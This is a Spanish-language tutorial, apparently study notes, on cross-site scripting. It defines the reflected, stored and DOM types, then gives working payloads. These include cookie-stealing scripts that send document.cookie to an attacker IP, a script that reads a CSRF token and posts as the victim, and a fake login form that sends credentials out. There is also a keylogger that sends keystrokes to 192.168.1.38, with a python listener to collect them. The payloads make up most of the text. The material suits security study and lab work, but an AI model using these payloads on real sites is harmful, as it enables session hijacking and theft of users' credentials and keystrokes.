¿ Que es?
Es un tipo de vulnerabilidad de seguridad informática que permite a un atacante ejecutar código malicioso en la página web de un usuario sin su conocentimiento. Esta vulnerabilidad permite al atacanta robar información personal, como nombres de usuario, contraseñas y otros datos confidenciales.
Este tipo de XSS se produce cuando los datos proporcionados por le usuario se reflejan en la respuesta HTTP sin ser verificados adecuadamente. Esto permite a un atacante inyectar código malicioso en la respuesta, que luego se ejecuta en el navegador del usuario.
Este tipo de XSS se produce cuando un atacante es capaz de almacenar código malicioso en una base de datos o en el servidor web que aloja una página web vulnerable. Este código se ejecuta cada ve que se carga la página.
Estipo tipo de XSS se produce cuando el código malicioso se ejecuta en el navegador del usuario a través del DOM (Document Object Model). Esto se produce cuando el código JavaScript en una página web modifica el DOM en una forma que es vulnerable a la inyección de código malicioso.
Los fines de esta vulnerabilidad se basan tanto en el contexto, como en el atacante y sus fines. Pero se podrian realizar multiples ataques.
El fin de esto claramente es realizar un cookie hijacking para secuestrar la sesión del usuario que visite la sección vulnerable a XSS de la página.
<script src='http://{nuestra_ip}/get_cookie.js'></script>
var request = new XMLHttpRequest();
request.open('GET', `http://192.168.1.38/?cookie=${document.cookie}`);
request.send();
<script>document.location="http://{our_ip}/?cookie="+document.cookie</script>
Hablamos de un INTENTO de robo de sesión ya que si la cookie tiene la opción httpOnly checkeada, seria imposible.
En este ejemplo, interceptamos con Burpsuite la petición en la sección vulnerable a XSS la cual estaba en una página al hacer una publicación, por lo que se realizaba un POST a la ulr tramitando la data ingresada por el usuario a la par que un campo extra el cual se alojaba en la respuesta del servidor por lo que en caso de que fuese dinamico, lo primero que hacemos es capturar este para posteriormente realizar un post como el usuario.
<script src='http://{nuestra_ip}/make_post.js'></script>
const domain = "http://localhost:10007/newgossip";
const req1 = new XMLHttpRequest();
req1.open('GET', domain, false);
req1.withCredentials = true;
req1.send();
let response = req1.responseText;
let parser = new DOMParser();
let doc = parser.parseFromString(response, 'text/html')
let token = doc.getElementsByName('_csrf_token')[0].value;
const data = `title=ME+GUSTA+LA+CIBERSEGURIDAD&subtitle=Este+laburo+es+una+mierda&text=Estoy+re+caliente&_csrf_token=${token}`
const req2 = new XMLHttpRequest();
req2.open('POST', `http://localhost:10007/newgossip`, false)
req2.withCredentials = true;
req2.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded')
req2.send(data);
El fin de esto es redirigir al usuario, no hace falta que sea a una página de phishing, podria ser cualquier recurso, por lo que en el campo vulnerable se deberia introducir:
<script> window.location.href = 'url'</script>
En la sección vulnerable podriamos ingresar un codigo malicioso jugando con JavaScript para intentar crear un formulario de inicio de sesión el cual nos mande las credenciales ingresadas por el usuario a un recurso nuestro.
<div id="formContainer"></div>
<script>
var email;
var password;
var form = '<form>' + 'Email: <input type="email" id="email" required>' + '<br><br>' + 'Contraseña: <input type="password" id="password" required>' + '<br><br>' + '<input type="button" onclick="submitForm()" value="Ingresar"' + '</form>';
document.getElementById("formContainer").innerHTML = form;
function submitForm(){
email = document.getElementById("email").value;
password = document.getElementById("password").value;
console.log("Funciona", email, password)
fetch(`http://192.168.1.38/?email=${email}&password=${password}`);
}
</script>
<script>
let keys = "";
document.onkeypress = function(e){
e = e || window.event;
keys += e.key;
keys = keys.replace(" ", ",");
var i = new Image();
i.src = `http://192.168.1.38/${keys}`;
};
</script>
Con este script capturariamos las pulsaciones del usuario, y las mandariamos a una ip en particualar, donde podriamos tenerun servidor de python y filtrando por esta data que nos llega python -m http.server 80 2>&1 | grep -oP 'GET /\K[^.*\s]+'.